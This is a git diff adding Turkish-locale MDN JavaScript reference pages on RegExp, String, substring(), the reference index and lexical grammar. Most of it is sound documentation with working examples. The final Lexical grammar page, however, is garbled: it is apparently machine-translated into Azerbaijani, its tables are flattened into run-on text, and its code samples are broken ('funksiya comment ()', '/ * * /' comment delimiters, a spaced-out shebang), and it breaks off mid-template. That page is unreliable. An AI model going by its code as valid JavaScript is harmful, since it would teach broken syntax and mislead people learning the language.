attempting to match starting at {{jsxref("RegExp.prototype.lastIndex")}}.</p> + +<pre class="brush: js">var str = '#foo#'; +var regex = /foo/y; + +regex.lastIndex = 1; +regex.test(str); // true +regex.lastIndex = 5; +regex.test(str); // false (lastIndex is taken into account with sticky flag) +regex.lastIndex; // 0 (reset after match failure)</pre> + +<h3 id="Regular_expression_and_Unicode_characters">Regular expression and Unicode characters</h3> + +<p>As mentioned above, <code>\w</code> or <code>\W</code> only matches ASCII based characters; for example, "a" to "z", "A" to "Z", "0" to "9" and "_". To match characters from other languages such as Cyrillic or Hebrew, use <code>\uhhhh</code>, where "hhhh" is the character's Unicode value in hexadecimal. This example demonstrates how one can separate out Unicode characters from a word.</p> + +<pre class="brush: js">var text = 'Образец text на русском языке'; +var regex = /[\u0400-\u04FF]+/g; + +var match = regex.exec(text); +console.log(match[0]); // logs 'Образец' +console.log(regex.lastIndex); // logs '7' + +var match2 = regex.exec(text); +console.log(match2[0]); // logs 'на' [did not log 'text'] +console.log(regex.lastIndex); // logs '15' + +// and so on +</pre> + +<p>Here's an external resource for getting the complete Unicode block range for different scripts: <a href="http://kourge.net/projects/regexp-unicode-block">Regexp-unicode-block</a>.</p> + +<h3 id="Extracting_sub-domain_name_from_URL">Extracting sub-domain name from URL</h3> + +<pre class="brush: js">var url = 'http://xxx.domain.com'; +console.log(/[^.]+/.exec(url)[0].substr(7)); // logs 'xxx' +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES3')}}</td> + <td>{{Spec2('ES3')}}</td> + <td>Initial definition. Implemented in JavaScript 1.1.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.10', 'RegExp')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>The <code>RegExp</code> constructor no longer throws when the first argument is a <code>RegExp</code> and the second argument is present. Introduces Unicode and sticky flags.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div> + + +<p>{{Compat("javascript.builtins.RegExp")}}</p> +</div> + +<h3 id="Firefox-specific_notes">Firefox-specific notes</h3> + +<p>Starting with Firefox 34, in the case of a capturing group with quantifiers preventing its exercise, the matched text for a capturing group is now <code>undefined</code> instead of an empty string:</p> + +<pre class="brush: js">// Firefox 33 or older +'x'.replace(/x(.)?/g, function(m, group) { + console.log("'group:" + group + "'"); +}); // 'group:' + +// Firefox 34 or newer +'x'.replace(/x(.)?/g, function(m, group) { + console.log("'group:" + group + "'"); +}); // 'group:undefined' +</pre> + +<p>Note that due to web compatibility, <code>RegExp.$N</code> will still return an empty string instead of <code>undefined</code> ({{bug(1053944)}}).</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a></li> + <li>{{jsxref("String.prototype.match()")}}</li> + <li>{{jsxref("String.prototype.replace()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/string/index.html b/files/tr/web/javascript/reference/global_objects/string/index.html new file mode 100644 index 0000000000..bbf4377f32 --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/string/index.html @@ -0,0 +1,316 @@ +--- +title: String +slug: Web/JavaScript/Reference/Global_Objects/String +tags: + - ECMAScript 2015 + - JavaScript + - NeedsTranslation + - Reference + - String + - TopicStub +translation_of: Web/JavaScript/Reference/Global_Objects/String +--- +<div>{{JSRef}}</div> + +<p>Genel bir nesne olan <strong><code>String</code></strong>, dizgi veya karakter dizilerinin yapıcısıdır.</p> + +<p> </p> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<p>String literals take the forms:</p> + +<pre class="syntaxbox">'string text' +"string text" +"中文 español deutsch Türkçe हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ் עברית"</pre> + +<p>Strings can also be created using the <code>String</code> global object directly:</p> + +<pre class="syntaxbox">String(thing)</pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code>thing</code></dt> + <dd>Anything to be converted to a string.</dd> +</dl> + +<h3 id="Template_literals">Template literals</h3> + +<p>Starting with ECMAScript 2015, string literals can also be so-called <a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">Template literals</a>:</p> + +<pre class="syntaxbox">`hello world` +`hello! + world!` +`hello ${who}` +escape `<a>${who}</a>`</pre> + +<dl> +</dl> + +<h3 id="Escape_notation">Escape notation</h3> + +<p>Beside regular, printable characters, special characters can be encoded using escape notation:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Output</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>\0</code></td> + <td>the NULL character</td> + </tr> + <tr> + <td><code>\'</code></td> + <td>single quote</td> + </tr> + <tr> + <td><code>\"</code></td> + <td>double quote</td> + </tr> + <tr> + <td><code>\\</code></td> + <td>backslash</td> + </tr> + <tr> + <td><code>\n</code></td> + <td>new line</td> + </tr> + <tr> + <td><code>\r</code></td> + <td>carriage return</td> + </tr> + <tr> + <td><code>\v</code></td> + <td>vertical tab</td> + </tr> + <tr> + <td><code>\t</code></td> + <td>tab</td> + </tr> + <tr> + <td><code>\b</code></td> + <td>backspace</td> + </tr> + <tr> + <td><code>\f</code></td> + <td>form feed</td> + </tr> + <tr> + <td><code>\uXXXX</code></td> + <td>unicode codepoint</td> + </tr> + <tr> + <td><code>\u{X}</code> ... <code>\u{XXXXXX}</code></td> + <td>unicode codepoint {{experimental_inline}}</td> + </tr> + <tr> + <td><code>\xXX</code></td> + <td>the Latin-1 character</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p>Unlike some other languages, JavaScript makes no distinction between single-quoted strings and double-quoted strings; therefore, the escape sequences above work in strings created with either single or double quotes.</p> +</div> + +<dl> +</dl> + +<h3 id="Long_literal_strings">Long literal strings</h3> + +<p>Sometimes, your code will include strings which are very long. Rather than having lines that go on endlessly, or wrap at the whim of your editor, you may wish to specifically break the string into multiple lines in the source code without affecting the actual string contents. There are two ways you can do this.</p> + +<p>You can use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition_()">+</a> operator to append multiple strings together, like this:</p> + +<pre class="brush: js">let longString = "This is a very long string which needs " + + "to wrap across multiple lines because " + + "otherwise my code is unreadable."; +</pre> + +<p>Or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line. Make sure there is no space or any other character after the backslash (except for a line break), or as an indent; otherwise it will not work. That form looks like this:</p> + +<pre class="brush: js">let longString = "This is a very long string which needs \ +to wrap across multiple lines because \ +otherwise my code is unreadable."; +</pre> + +<p>Both of these result in identical strings being created.</p> + +<h2 id="Description">Description</h2> + +<p>Strings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ and += string operators</a>, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.</p> + +<h3 id="Character_access">Character access</h3> + +<p>There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:</p> + +<pre class="brush: js">return 'cat'.charAt(1); // returns "a" +</pre> + +<p>The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:</p> + +<pre class="brush: js">return 'cat'[1]; // returns "a" +</pre> + +<p>For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)</p> + +<h3 id="Comparing_strings">Comparing strings</h3> + +<p>C developers have the <code>strcmp()</code> function for comparing strings. In JavaScript, you just use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">less-than and greater-than operators</a>:</p> + +<pre class="brush: js">var a = 'a'; +var b = 'b'; +if (a < b) { // true + console.log(a + ' is less than ' + b); +} else if (a > b) { + console.log(a + ' is greater than ' + b); +} else { + console.log(a + ' and ' + b + ' are equal.'); +} +</pre> + +<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p> + +<h3 id="Distinction_between_string_primitives_and_String_objects">Distinction between string primitives and <code>String</code> objects</h3> + +<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p> + +<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p> + +<pre class="brush: js">var s_prim = 'foo'; +var s_obj = new String(s_prim); + +console.log(typeof s_prim); // Logs "string" +console.log(typeof s_obj); // Logs "object" +</pre> + +<p>String primitives and <code>String</code> objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to <code>eval</code> are treated as source code; <code>String</code> objects are treated as all other objects are, by returning the object. For example:</p> + +<pre class="brush: js">var s1 = '2 + 2'; // creates a string primitive +var s2 = new String('2 + 2'); // creates a String object +console.log(eval(s1)); // returns the number 4 +console.log(eval(s2)); // returns the string "2 + 2" +</pre> + +<p>For these reasons, code may break when it encounters <code>String</code> objects when it expects a primitive string instead, although generally authors need not worry about the distinction.</p> + +<p>A <code>String</code> object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.</p> + +<pre class="brush: js">console.log(eval(s2.valueOf())); // returns the number 4 +</pre> + +<div class="note"><strong>Note:</strong> For another possible approach to strings in JavaScript, please read the article about <a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a>.</div> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{jsxref("String.prototype")}}</dt> + <dd>Allows the addition of properties to a <code>String</code> object.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{jsxref("String.fromCharCode()")}}</dt> + <dd>Returns a string created by using the specified sequence of Unicode values.</dd> + <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt> + <dd>Returns a string created by using the specified sequence of code points.</dd> + <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt> + <dd>Returns a string created from a raw template string.</dd> +</dl> + +<h2 id="String_generic_methods"><code>String</code> generic methods</h2> + +<div class="warning"> +<p><strong>String generics are non-standard, deprecated and will get removed near future</strong>.</p> +</div> + +<p>The <code>String</code> instance methods are also available in Firefox as of JavaScript 1.6 (<strong>not</strong> part of the ECMAScript standard) on the <code>String</code> object for applying <code>String</code> methods to any object:</p> + +<pre class="brush: js">var num = 15; +console.log(String.replace(num, /5/, '2')); +</pre> + +<p>For migrating away from String generics, see also <a href="/en-US/docs/Web/JavaScript/Reference/Errors/Deprecated_string_generics">Warning: String.x is deprecated; use String.prototype.x instead</a>.</p> + +<p>{{jsxref("Global_Objects/Array", "Generics", "#Array_generic_methods", 1)}} are also available on {{jsxref("Array")}} methods.</p> + +<h2 id="String_instances"><code>String</code> instances</h2> + +<h3 id="Properties_2">Properties</h3> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Properties')}}</div> + +<h3 id="Methods_2">Methods</h3> + +<h4 id="Methods_unrelated_to_HTML">Methods unrelated to HTML</h4> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'Methods_unrelated_to_HTML')}}</div> + +<h4 id="HTML_wrapper_methods">HTML wrapper methods</h4> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype', 'HTML_wrapper_methods')}}</div> + +<h2 id="Examples">Examples</h2> + +<h3 id="String_conversion">String conversion</h3> + +<p>It's possible to use <code>String</code> as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, although it still normally calls the underlying <code>toString()</code>. It also works for {{jsxref("null")}}, {{jsxref("undefined")}}, and for {{jsxref("Symbol", "symbols")}}. For example:</p> + +<pre class="brush: js">var outputStrings = []; +for (var i = 0, n = inputValues.length; i < n; ++i) { + outputStrings.push(String(inputValues[i])); +} +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.5', 'String')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-string-objects', 'String')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.String.String")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("DOMString")}}</li> + <li><a href="/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a></li> + <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/global_objects/string/substring/index.html b/files/tr/web/javascript/reference/global_objects/string/substring/index.html new file mode 100644 index 0000000000..d3a177406c --- /dev/null +++ b/files/tr/web/javascript/reference/global_objects/string/substring/index.html @@ -0,0 +1,149 @@ +--- +title: String.prototype.substring() +slug: Web/JavaScript/Reference/Global_Objects/String/substring +translation_of: Web/JavaScript/Reference/Global_Objects/String/substring +--- +<div>{{JSRef}}</div> + +<p>The <strong><code>substring()</code></strong> method returns a subset of a <code>string</code> between one index and another, or through the end of the string.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code><var>str</var>.substring(<var>indexStart</var>[, <var>indexEnd</var>])</code></pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code><var>indexStart</var></code></dt> + <dd>An integer between <code>0</code> and the length of the string, specifying the offset into the string of the first character to include in the returned substring.</dd> + <dt><code>indexEnd</code></dt> + <dd>Optional. An integer between <code>0</code> and the length of the string, which specifies the offset into the string of the first character <strong>not</strong> to include in the returned substring.</dd> +</dl> + +<h3 id="Dönen_değer">Dönen değer</h3> + +<p>A new string containing the extracted section of the given string.</p> + +<h2 id="Açıklama">Açıklama</h2> + +<p><code>substring()</code> extracts characters from <code>indexStart</code> up to <em>but not including</em> <code>indexEnd</code>. In particular:</p> + +<ul> + <li>If <code><var>indexStart </var></code>equals <code><var>indexEnd</var></code>, <code>substring()</code> returns an empty string.</li> + <li>If <code>indexEnd</code> is omitted, <code>substring()</code> extracts characters to the end of the string.</li> + <li>If either argument is less than 0 or is {{jsxref("NaN")}}, it is treated as if it were 0.</li> + <li>If either argument is greater than <code>stringName.length</code>, it is treated as if it were <code>stringName.length</code>.</li> +</ul> + +<p>If <code>indexStart</code> is greater than <code>indexEnd</code>, then the effect of <code>substring()</code> is as if the two arguments were swapped; for example, <code><em>str</em>.substring(1, 0) == <em>str</em>.substring(0, 1)</code>.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Using_substring()">Using <code>substring()</code></h3> + +<p>The following example uses <code>substring()</code> to display characters from the string <code>'Mozilla'</code>:</p> + +<pre class="brush: js">var anyString = 'Mozilla'; + +// Displays 'Moz' +console.log(anyString.substring(0, 3)); +console.log(anyString.substring(3, 0)); + +// Displays 'lla' +console.log(anyString.substring(4, 7)); +console.log(anyString.substring(4)); +console.log(anyString.substring(7, 4)); + +// Displays 'Mozill' +console.log(anyString.substring(0, 6)); + +// Displays 'Mozilla' +console.log(anyString.substring(0, 7)); +console.log(anyString.substring(0, 10)); +</pre> + +<h3 id="Using_substring()_with_length_property">Using <code>substring()</code> with <code>length</code> property</h3> + +<p>The following example uses the <code>substring()</code> method and {{jsxref("String.length", "length")}} property to extract the last characters of a particular string. This method may be easier to remember, given that you don't need to know the starting and ending indices as you would in the above examples.</p> + +<pre class="brush: js">// Displays 'illa' the last 4 characters +var anyString = 'Mozilla'; +var anyString4 = anyString.substring(anyString.length - 4); +console.log(anyString4); + +// Displays 'zilla' the last 5 characters +var anyString = 'Mozilla'; +var anyString5 = anyString.substring(anyString.length - 5); +console.log(anyString5); +</pre> + +<h3 id="Replacing_a_substring_within_a_string">Replacing a substring within a string</h3> + +<p>The following example replaces a substring within a string. It will replace both individual characters and substrings. The function call at the end of the example changes the string <code>'Brave New World'</code> into <code>'Brave New Web'</code>.</p> + +<pre class="brush: js">// Replaces oldS with newS in the string fullS +function replaceString(oldS, newS, fullS) { + for (var i = 0; i < fullS.length; ++i) { + if (fullS.substring(i, i + oldS.length) == oldS) { + fullS = fullS.substring(0, i) + newS + fullS.substring(i + oldS.length, fullS.length); + } + } + return fullS; +} + +replaceString('World', 'Web', 'Brave New World'); +</pre> + +<p>Note that this can result in an infinite loop if <code>oldS</code> is itself a substring of <code>newS</code> — for example, if you attempted to replace 'World' with 'OtherWorld' here. A better method for replacing strings is as follows:</p> + +<pre class="brush: js">function replaceString(oldS, newS, fullS) { + return fullS.split(oldS).join(newS); +} +</pre> + +<p>The code above serves as an example for substring operations. If you need to replace substrings, most of the time you will want to use {{jsxref("String.prototype.replace()")}}.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Implemented in JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.5.4.15', 'String.prototype.substring')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-string.prototype.substring', 'String.prototype.substring')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.String.substring")}}</p> + +<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> + +<ul> + <li>{{jsxref("String.prototype.substr()")}}</li> + <li>{{jsxref("String.prototype.slice()")}}</li> +</ul> diff --git a/files/tr/web/javascript/reference/index.html b/files/tr/web/javascript/reference/index.html new file mode 100644 index 0000000000..b54be98c56 --- /dev/null +++ b/files/tr/web/javascript/reference/index.html @@ -0,0 +1,48 @@ +--- +title: JavaScript Referansı +slug: Web/JavaScript/Reference +tags: + - JavaScript +translation_of: Web/JavaScript/Reference +--- +<div>{{JsSidebar}}</div> + +<p>This part of the JavaScript section on MDN serves as a repository of facts about the JavaScript language. Read more <a href="/en-US/docs/Web/JavaScript/Reference/About">about this reference</a>.</p> + +<h2 id="Global_Objects">Global Objects</h2> + +<p>This chapter documents all the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects">JavaScript standard built-in objects</a>, along with their methods and properties.</p> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects', 'Standard objects (by category)')}}</div> + +<h2 id="Statements">Statements</h2> + +<p>This chapter documents all the <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements and declarations</a>.</p> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Statements', 'Statements_and_declarations_by_category')}}</div> + +<h2 id="Expressions_and_operators">Expressions and operators</h2> + +<p>This chapter documents all the <a href="/en-US/docs/Web/JavaScript/Reference/Operators">JavaScript expressions and operators</a>.</p> + +<div>{{page('/en-US/docs/Web/JavaScript/Reference/Operators', 'Expressions_and_operators_by_category')}}</div> + +<h2 id="Functions">Functions</h2> + +<p>This chapter documents how to work with <a href="/en-US/docs/Web/JavaScript/Reference/Functions">JavaScript functions</a> to develop your applications.</p> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code></a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">Default parameters</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a></li> +</ul> + +<h2 id="Additional_reference_pages">Additional reference pages</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexical grammar</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Data_structures">Data types and data structures</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">Deprecated features</a></li> +</ul> diff --git a/files/tr/web/javascript/reference/lexical_grammar/index.html b/files/tr/web/javascript/reference/lexical_grammar/index.html new file mode 100644 index 0000000000..6ea10234bc --- /dev/null +++ b/files/tr/web/javascript/reference/lexical_grammar/index.html @@ -0,0 +1,379 @@ +--- +title: Lexical grammar +slug: Web/JavaScript/Reference/Lexical_grammar +translation_of: Web/JavaScript/Reference/Lexical_grammar +--- +<p>{{JsSidebar ("Daha çox")}}</p> + +<p>Bu səhifə JavaScript-in leksik qrammatikasını təsvir edir. ECMAScript skriptlərinin mənbə mətni soldan sağa taranır və ayələr, nəzarət simvolları, xətt terminatorları, şərhlər və ya ağ boşluq olan giriş elementlərinin ardıcıllığına çevrilir. ECMAScript, həmçinin müəyyən açar sözlər və hərfləri müəyyənləşdirir və ifadələri sona çatdırmaq üçün nöqtəli vergüllərə avtomatik qoşulma qaydalarına malikdir.</p> + +<p>Nəzarət simvolları<br> + İdarəetmə simvollarının vizual nümayəndəliyi yoxdur, ancaq mətnin şərhini idarə etmək üçün istifadə olunur.</p> + +<p>Unicode formatına nəzarət simvolları<br> + Kod nöqtəsi Adı Qısaldılması Təsviri<br> + U + 200C Sıfır eni qoşulmayan <ZWNJ> Müəyyən dillərdə ligaturlara qoşulmamaq üçün simvolların arasına yerləşdirilib (Wikipedia).<br> + U + 200D Sıfır eniştiricisi <ZWJ> İşarələrin müəyyən dillərdə (Wikipedia) əlaqəli formasından istifadə olunmasına səbəb olmaq üçün ümumiyyətlə bağlanmayacaq simvollar arasında yerləşdirilmişdir.<br> + U + FEFF Bayt sifariş nişanı <BOM> Skriptin əvvəlində onu Unicode və mətnin bayt sifarişi (Wikipedia) kimi qeyd etmək üçün istifadə olunur.<br> + Ağ boşluq<br> + Ağ boşluq simvolları mənbə mətninin oxunuşunu yaxşılaşdırır və ayələrini bir-birindən ayırır. Bu işarələr ümumiyyətlə kodun işləməsi üçün lazımsızdır. Transfer edilməsi lazım olan məlumatların miqdarını azaltmaq üçün tez-tez boşluq silmək üçün minifikasiya vasitələri istifadə olunur.</p> + +<p>Ağ boşluq simvolları<br> + Kod nöqtəsi Adı Qısaldılması Təsvir Escape ardıcıllığı<br> + U + 0009 Xarakter cədvəli <HT> Üfüqi cədvəl \ t<br> + U + 000B Xətt cədvəli <VT> Şaquli cədvəl \ v<br> + U + 000C Forma yemi <FF> Səhifəni pozan idarəetmə xarakteri (Wikipedia). \ f<br> + U + 0020 Məkan <SP> Normal yer<br> + U + 00A0 Arası olmayan yer <NBSP> Normal yer, lakin xəttin qırıla biləcəyi nöqtə yoxdur<br> + Digərləri Digər Unicode kosmik simvolları <USP> Wikipedia'dakı Unicode'dakı boşluqlar<br> + Xətt terminatorları<br> + Ağ boşluq simvollarına əlavə olaraq, mənbə mətninin oxunuşunu yaxşılaşdırmaq üçün xətt terminatoru simvolları istifadə olunur. Bununla birlikdə, bəzi hallarda, xətt terminatorları JavaScript kodunun icrasına təsir göstərə bilər, çünki qadağan edilmiş bir neçə yer var. Xətt terminatorları avtomatik nöqtəli vergül daxil edilməsi prosesinə də təsir göstərir. Sətir terminatorları müntəzəm ifadələrdə siniflər tərəfindən uyğunlaşdırılır.</p> + +<p>Yalnız aşağıdakı Unicode kod nöqtələrinə ECMAScript-də xətt terminatoru kimi baxılır, digər xətt kəsici simvollara ağ boşluq kimi baxılır (məsələn, Next Line, NEL, U + 0085 ağ boşluq sayılır).</p> + +<p>Xətt terminatoru simvolları<br> + Kod nöqtəsi Adı Qısaldılması Təsvir Escape ardıcıllığı<br> + U + 000A Line Feed <LF> UNIX sistemlərində yeni xətt xarakteri. \ n<br> + U + 000D Daşımanın qaytarılması <CR> Commodore və erkən Mac sistemlərində yeni xətt xarakteri. \ r<br> + U + 2028 Xət ayırıcı <LS> Vikipediya<br> + U + 2029 Paraqraf ayırıcı <PS> Wikipedia<br> + Şərhlər<br> + Şərhlər JavaScript koduna işarə, qeyd, təklif və ya xəbərdarlıq əlavə etmək üçün istifadə olunur. Bu oxumağı və başa düşməyi asanlaşdıra bilər. Kodun icra edilməməsi üçün deaktiv edilmək üçün istifadə edilə bilər; bu dəyərli ayıklama vasitəsi ola bilər.</p> + +<p>JavaScript'də şərhə əlavə etmək üçün uzun müddətdir davam edən iki yol var.</p> + +<p>Birinci yol // şərh; bu eyni sətirdə onu izləyən bütün mətnləri bir şərh halına gətirir. Misal üçün:</p> + +<p>funksiya comment () {<br> + // Bu bir xəttli JavaScript şərhidir<br> + console.log ('Salam dünya!');<br> + }<br> + Şərh();<br> + İkinci yol daha çevik olan / * * / üslubdur.</p> + +<p>Məsələn, bir xəttdə istifadə edə bilərsiniz:</p> + +<p>funksiya comment () {<br> + / * Bu bir xəttli JavaScript şərhidir * /<br> + console.log ('Salam dünya!');<br> + }<br> + Şərh();<br> + Bununla yanaşı, çox sətirli şərhlər edə bilərsiniz:</p> + +<p>funksiya comment () {<br> + / * Bu şərh çox sətri əhatə edir. Xəbərdarlıq<br> + başa çatana qədər şərhə son qoymaq lazım deyil. * /<br> + console.log ('Salam dünya!');<br> + }<br> + Şərh();<br> + İstəsəniz, bir xəttin ortasında da istifadə edə bilərsiniz, baxmayaraq ki bu kodunuzu oxumağı çətinləşdirə bilər, buna görə ehtiyatla istifadə olunmalıdır:</p> + +<p>funksiya şərhi (x) {<br> + console.log ('Salam' + x / * x * / + '!' dəyərini daxil edin);<br> + }<br> + şərh ('dünya');<br> + Bundan əlavə, kodu bir şərhə bağlayaraq işə salmamaq üçün kodu deaktiv etmək üçün istifadə edə bilərsiniz:</p> + +<p>funksiya comment () {<br> + / * console.log ('Salam dünya!'); * /<br> + }<br> + Şərh();<br> + Bu vəziyyətdə, konsol.log () çağırışı heç bir şərh daxilində olmadığı üçün verilmir. İstənilən sayda kod xətti bu şəkildə əlil ola bilər.</p> + +<p>Hashbang şərhləri<br> + Xüsusi üçüncü bir şərh sintaksisi, hashbang comment, ECMAScript-də standartlaşdırılma mərhələsindədir (Hashbang Qrammatikası təklifinə baxın).</p> + +<p>Bir hashbang şərhini yalnız bir xətt (yalnız) şərh kimi edir. Bunun əvəzinə # ilə başlayır! və yalnız bir yazı və ya modulun mütləq başlanğıcında etibarlıdır. Nəzərə alın ki, hər hansı bir boşluq # # -dan əvvəl icazə verilmir. Şərh # sonrakı bütün simvollardan ibarətdir! birinci sətrin sonuna qədər; yalnız bir belə şərhə icazə verilir.</p> + +<p>Hashbang şərh, skriptin icrası üçün istifadə etmək istədiyiniz xüsusi JavaScript tərcüməçisinə gedən yolu göstərir. Nümunə aşağıdakı kimidir:</p> + +<p>#! / usr / bin / env node</p> + +<p>console.log ("Salam dünya");<br> + Qeyd: JavaScript-dəki Hashbang şərhləri Unix-də təqlid olunan shebangs-ləri faylları düzgün tərcüməçi ilə işlədirdi.</p> + +<p>Hashbang şərhindən əvvəl BOM bir brauzerdə işləsə də, BOM-u hasbang yazılmış bir skriptdə istifadə etmək tövsiyə edilmir. Unix / Linux-da skript işə saldığınız zaman BOM işləməyəcək. Skriptləri birbaşa işlətmək istəyirsinizsə UTF-8-ni BOM olmadan istifadə edin</p> + +<p>qabıqdan.</p> + +<p>Yalnız # istifadə etməlisiniz! JavaScript tərcüməçisini təyin etmək üçün şərh tərzi. Digər bütün hallarda sadəcə bir // şərh (və ya mulitiline comment) istifadə edin.</p> + +<p>Açar sözlər<br> + ECMAScript 2015 kimi qorunan açar sözlər<br> + {{jsxref ("Bəyanatlar / break", "break")}}<br> + {{jsxref ("Bəyanatlar / keçid", "dava")}}<br> + {{jsxref 